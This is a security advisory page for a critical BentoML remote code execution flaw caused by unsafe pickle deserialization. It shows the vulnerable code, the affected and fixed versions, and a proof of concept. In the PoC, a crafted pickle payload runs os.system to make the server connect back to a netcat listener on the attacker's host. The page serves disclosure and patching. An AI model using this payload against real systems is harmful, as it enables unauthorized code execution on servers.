Kritisch

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

  • Veröffentlicht: 04.04.2025
  • Aktualisiert: 11.10.2026 15:17

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py:

python
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
    • IP: 10.98.36.123
    • OS: Ubuntu
  • Attack host:
    • IP: 10.98.36.121
    • OS: Ubuntu
  1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

python
from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

bash
pip install torch transformers  # additional dependencies for local run

bentoml serve
  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

python
import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) bentoml >= 1.3.4, < 1.4.3 1.4.3

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-502
Plattform
Python (PyPI)
Paket
bentoml
Veröffentlicht
04.04.2025
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-294 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-33xw-247w-6hmc - CC BY 4.0

Schwachstellenhistorie: bentoml

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (17) im Archiv
Einträge insgesamt
17
Erste → letzte
04.2024 07.2026
Ohne Fix
5
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 10
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2024: 1
  2. 2025: 7
  3. 2026: 9
Schweregrad:
  1. Hoch · 8.8 CVE-2026-35044 < 1.4.38 1.4.38
  2. Hoch · 7.8 CVE-2026-35043 < 1.4.38 1.4.38
  3. Hoch · 7.4 CVE-2026-24123 < 1.4.34 1.4.34
  4. Kritisch · 9.9 CVE-2025-54381 >= 1.4.0, < 1.4.19 1.4.19
  5. BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization dieser Eintrag
    Kritisch · 9.8 CVE-2025-27520 >= 1.3.4, < 1.4.3 1.4.3
  6. Hoch · 7.5 CVE-2024-9056 <= 1.4.5 keine Korrektur
  7. Kritisch · 9.8 CVE-2024-9070 <= 1.4.5 keine Korrektur
  8. Hoch · 7.5 ghsa-hh3j-9m59-p8vc <= 1.3.9 keine Korrektur
  9. Kritisch · 9.8 CVE-2024-2912 < 1.2.5 1.2.5

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.